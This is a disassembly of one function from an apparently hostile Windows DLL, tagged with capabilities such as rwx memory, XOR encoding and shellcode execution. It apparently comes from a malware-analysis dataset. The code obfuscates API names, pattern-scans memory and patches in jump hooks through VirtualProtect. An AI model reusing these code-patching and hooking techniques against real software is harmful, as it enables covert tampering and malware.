Function at 0x10012770
Capabilities:
Allocate or change rwx memory
Check os version
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x1003c931
mov eax, dword fs:[0]
push eax
sub esp, 0x180
mov eax, dword [0x10047650]
xor eax, esp
mov dword [esp + 0x178], eax
push ebx
push esi
push edi
mov eax, dword [0x10047650]
xor eax, esp
push eax
lea eax, [esp + 0x190]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov eax, dword [ebp + 0xc]
mov ebx, 1
sub eax, ebx
jne 0x10012fcb
mov al, 0x64
push 0x94
mov byte [0x101ab45a], al
lea eax, [esp + 0xc0]
push 0
push eax
mov dword [0x101ab240], esi
mov byte [0x101ab6c4], bl
mov word [0x101ab458], 0x6464
call fcn.100239d0
add esp, 0xc
lea ecx, [esp + 0xbc]
push ecx
mov dword [esp + 0xc0], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [esp + 0xc0], 6
ja 0x1001282f
cmp dword [esp + 0xc4], ebx
ja 0x1001282f
mov byte [0x101ab3d8], bl
mov ecx, 0x1f269617
lea eax, [esp + 0x20]
call fcn.1001b810
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
xor eax, eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov word [esp + 0x28], ax
mov byte [esp + 0x2a], al
mov ecx, 0x397cb6aa
lea eax, [esp + 0x7c]
call fcn.1001bda0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xor ecx, ecx
mov dword [esp + 0x7c], ecx
mov dword [esp + 0x80], ecx
test eax, eax
je 0x100128a3
lea edx, [esp + 0x18]
push edx
push esi
mov dword [esp + 0x20], 0x74696e49
mov byte [esp + 0x24], cl
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ecx, ecx
mov dword [esp + 0x18], ecx
mov byte [esp + 0x1c], cl
jmp 0x100128c8
mov ecx, 0x5cc9a10b
lea eax, [esp + 0x4c]
call fcn.1001be00
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ecx, ecx
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x50], ecx
mov word [esp + 0x54], cx
call eax
lea eax, [esp + 0x158]
mov bl, 0xff
push eax
mov edi, 0x1b
mov dword [esp + 0x15c], 0xffffffa1
mov dword [esp + 0x160], 0xffffffff
mov dword [esp + 0x164], 0xffff8b32
mov dword [esp + 0x168], 0xffffffff
mov dword [esp + 0x16c], 0x78ffffff
mov dword [esp + 0x170], 0x8bffff89
mov word [esp + 0x174], 0x8ff
mov byte [esp + 0x176], 0x51
call fcn.10003b40
xor ebx, ebx
add esp, 4
cmp eax, ebx
je 0x10012e51
mov ecx, dword [eax + 1]
mov al, 0xff
lea edx, [esp + 0x158]
mov byte [esp + 0x178], bl
push edx
mov bl, al
mov edi, 0x21
mov dword [0x101ab6a4], ecx
mov dword [esp + 0x15c], 0xffffffa1
mov dword [esp + 0x160], 0xffff89ff
mov dword [esp + 0x164], 0x83ffffff
mov dword [esp + 0x168], 0xffffffff
mov dword [esp + 0x16c], 0xffff02ff
mov dword [esp + 0x170], 0xffffff83
mov dword [esp + 0x174], 0x7404ffff
mov dword [esp + 0x178], 0x6affebff
call fcn.10003b40
add esp, 4
mov dword [0x101ab6a8], eax
test eax, eax
je 0x100129d3
mov eax, dword [eax + 1]
mov dword [0x101ab6a8], eax
jmp 0x10012a29
mov ecx, 0xba
xor eax, eax
lea ebx, [ebx]
mov dl, byte [eax + 0x10041c48]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x3c], dl
inc eax
and ecx, 0xff
cmp eax, 0xf
jb 0x100129e0
lea eax, [esp + 0x3c]
push eax
push 0
mov ecx, 0x100a8f80
mov byte [esp + 0x53], 0
call fcn.100047e0
xor eax, eax
add esp, 8
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
call fcn.10003cf0
lea ecx, [esp + 0x158]
push ecx
mov edi, 0x11
mov dword [esp + 0x15c], 0xffffff66
mov dword [esp + 0x160], 0xff66ffff
mov dword [esp + 0x164], 0xff8b24ff
mov dword [esp + 0x168], 0xffffffff
mov byte [esp + 0x16c], 0x51
call fcn.10003b40
xor ebx, ebx
add esp, 4
mov dword [0x101ab6cc], eax
cmp eax, ebx
je 0x10012a88
mov edx, dword [eax + 2]
mov dword [0x101ab6cc], edx
jmp 0x10012aba
mov ecx, 0x10041c58
sub ecx, 0x575d72e6
lea eax, [esp + 0x74]
call fcn.1001be80
push eax
push ebx
mov ecx, 0x100a8f80
call fcn.100047e0
xor eax, eax
add esp, 8
mov dword [esp + 0x74], eax
mov dword [esp + 0x78], eax
call fcn.10003cf0
mov al, 0xff
lea ecx, [esp + 0x158]
mov byte [esp + 0x170], bl
push ecx
mov bl, al
mov edi, 0x19
mov dword [esp + 0x15c], 0xffff85dd
mov dword [esp + 0x160], 0x58d9ffff
mov dword [esp + 0x164], 0xd9c4eb04
mov dword [esp + 0x168], 0xffdcffff
mov dword [esp + 0x16c], 0xffffffff
mov dword [esp + 0x170], 0x9768
call fcn.10003b40
add esp, 4
mov dword [0x101ab0f4], eax
test eax, eax
je 0x10012be9
lea edx, [eax + 9]
mov dword [0x101ab3b8], edx
cmp byte [eax], 0xe9
jne 0x10012bb0
mov edi, 0x66756b7a
lea esi, [esp + 0xa0]
call fcn.1001bee0
push 0xbb8
push eax
push 2
mov eax, 0x100a9eb8
mov dword [esp + 0x1a4], 0
call fcn.100050d0
xor eax, eax
mov dword [esp + 0x1a4], 0xffffffff
add esp, 0xc
mov dword [esp + 0xa0], eax
mov dword [esp + 0xa4], eax
mov dword [esp + 0xa8], eax
mov dword [esp + 0xac], eax
mov dword [esp + 0xb0], eax
mov dword [esp + 0xb4], eax
mov dword [esp + 0xb8], eax
call fcn.10003cf0
mov eax, dword [0x101ab0f4]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea ecx, [esp + 0x10]
push ecx
push 0x40
push 6
push eax
mov esi, eax
call edi
mov eax, 0x1000d1c0
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x14]
push edx
push eax
push 6
mov byte [esi], 0xe9
push esi
mov byte [esi + 5], 0x90
call edi
jmp 0x10012c5d
mov edi, 0x66756b7a
lea esi, [esp + 0x84]
call fcn.1001bee0
push 0xbb8
push eax
push 2
mov eax, 0x100a9eb8
mov dword [esp + 0x1a4], 1
call fcn.100050d0
xor eax, eax
mov dword [esp + 0x1a4], 0xffffffff
add esp, 0xc
mov dword [esp + 0x84], eax
mov dword [esp + 0x88], eax
mov dword [esp + 0x8c], eax
mov dword [esp + 0x90], eax
mov dword [esp + 0x94], eax
mov dword [esp + 0x98], eax
mov dword [esp + 0x9c], eax
call fcn.10003cf0
lea ecx, [esp + 0x158]
mov bl, 0xfe
push ecx
mov edi, 0xb
mov dword [esp + 0x15c], 0xfefefe83
mov dword [esp + 0x160], 0x74fffefe
mov word [esp + 0x164], 0x6afe
mov byte [esp + 0x166], 0x1a
call fcn.10003b40
xor ebx, ebx
add esp, 4
mov dword [0x101ab6ac], eax
cmp eax, ebx
je 0x10012cb2
mov edx, dword [eax + 2]
mov dword [0x101ab6ac], edx
jmp 0x10012d1a
mov ecx, 0xde
xor eax, eax
lea esp, [esp]
mov dl, byte [eax + 0x10041c7c]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x58], dl
inc eax
and ecx, 0xff
cmp eax, 0x18
jb 0x10012cc0
mov byte [esp + 0x70], bl
lea ecx, [esp + 0x58]
mov dword [esp + 0x198], 2
call fcn.10003da0
xor eax, eax
mov dword [esp + 0x198], 0xffffffff
mov dword [esp + 0x58], eax
mov dword [esp + 0x5c], eax
mov dword [esp + 0x60], eax
mov dword [esp + 0x64], eax
mov dword [esp + 0x68], eax
mov dword [esp + 0x6c], eax
mov byte [esp + 0x70], al
lea eax, [esp + 0x158]
mov word [esp + 0x160], bx
mov bl, 0xff
push eax
mov edi, 0x17
mov dword [esp + 0x15c], 0x8e68
mov dword [esp + 0x160], 0xc16800
mov dword [esp + 0x166], 0xffffff8d
mov dword [esp + 0x16a], 0xffe8ffff
mov dword [esp + 0x16e], 0x6affffff
mov byte [esp + 0x172], 2
call fcn.10003b40
add esp, 4
test eax, eax
je 0x10012ea2
mov ecx, dword [eax + 0x48]
mov edx, dword [eax + ecx + 0x57]
lea eax, [eax + ecx + 0x4c]
lea edx, [eax + edx + 0xf]
lea ecx, [edx + 0x2d]
mov dword [0x101ab244], ecx
mov esi, dword [ecx + 1]
lea ecx, [ecx + esi + 5]
mov dword [0x101ab244], ecx
mov ecx, dword [eax + 0x26]
lea ecx, [eax + ecx + 0x2a]
mov dword [0x101ab120], ecx
add ecx, 8
mov dword [0x101ab3cc], 0x1000cfb0
cmp byte [eax], 0x55
mov dword [0x101ab0f8], eax
mov dword [0x101ab6d8], edx
mov dword [0x101ab3ac], ecx
je 0x10012de0
call fcn.10003cf0
mov edx, dword [0x101ab6d8]
cmp byte [edx], 0x55
je 0x10012dea
call fcn.10003cf0
mov edx, dword [0x101ab120]
cmp byte [edx], 0x55
je 0x10012dfa
call fcn.10003cf0
xor ecx, ecx
mov edi, 0x1000d920
call fcn.10003bf0
mov ebx, 0x400000
call fcn.1000d000
call fcn.1001e910
call fcn.1001e960
call fcn.1001eb00
mov edi, dword [0x101ab6d8]
mov esi, 0x76
call fcn.10003b00
mov edi, dword [0x101ab120]
mov esi, 0x1e0
call fcn.10003b00
mov edi, dword [0x101ab0f8]
mov esi, 0x33
call fcn.10003b00
jmp 0x10012ea7
mov ecx, 0x82
xor eax, eax
jmp 0x10012e60
mov dl, byte [eax + 0x10041c98]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x2c], dl
inc eax
and ecx, 0xff
cmp eax, 0xf
jb 0x10012e60
lea eax, [esp + 0x2c]
push eax
push ebx
mov ecx, 0x100a8f80
mov byte [esp + 0x43], bl
call fcn.100047e0
add esp, 8
xor eax, eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
call fcn.10003cf0
lea ecx, [esp + 0x158]
mov bl, 0xff
push ecx
mov edi, 0x30
mov dword [esp + 0x15c], 0xffe8c88b
mov dword [esp + 0x160], 0xe8ffffff
mov dword [esp + 0x164], 0xffffffff
mov dword [esp + 0x168], 0xffffffe8
mov dword [esp + 0x16c], 0xffffe8ff
mov dword [esp + 0x170], 0xffe8ffff
mov dword [esp + 0x174], 0xe8ffffff
mov dword [esp + 0x178], 0xffffffff
mov dword [esp + 0x17c], 0xffffffe8
mov dword [esp + 0x180], 0xffffe8ff
mov dword [esp + 0x184], 0x1b0ffff
mov dword [esp + 0x188], 0xc35de58b
call fcn.10003b40
add esp, 4
mov dword [0x101ab248], eax
test eax, eax
je 0x10012f9d
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea edx, [eax + 0x20]
mov dword [0x101ab390], edx
lea esi, [eax + 0x1b]
lea edx, [esp + 0x10]
push edx
mov dword [0x101ab12c], esi
mov eax, dword [esi + 1]
push 0x40
push 5
lea ecx, [esi + eax + 5]
push esi
mov dword [0x101ab12c], ecx
call edi
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x14]
push ecx
push edx
mov eax, 0x1000cc20
sub eax, esi
push 5
sub eax, 5
push esi
mov byte [esi], 0xe9
mov dword [esi + 1], eax
call edi
jmp 0x10012fa2
call fcn.10003cf0
xor ecx, ecx
mov edi, 0x1000e0d0
mov dword [0x101ab248], 0
call fcn.10003bf0
xor ecx, ecx
mov edi, 0x10012010
call fcn.10003bf0
mov eax, 1
jmp 0x10012fcd
mov eax, ebx
mov ecx, dword [esp + 0x190]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x178]
xor ecx, esp
call fcn.1002005a
mov esp, ebp
pop ebp
ret 0xc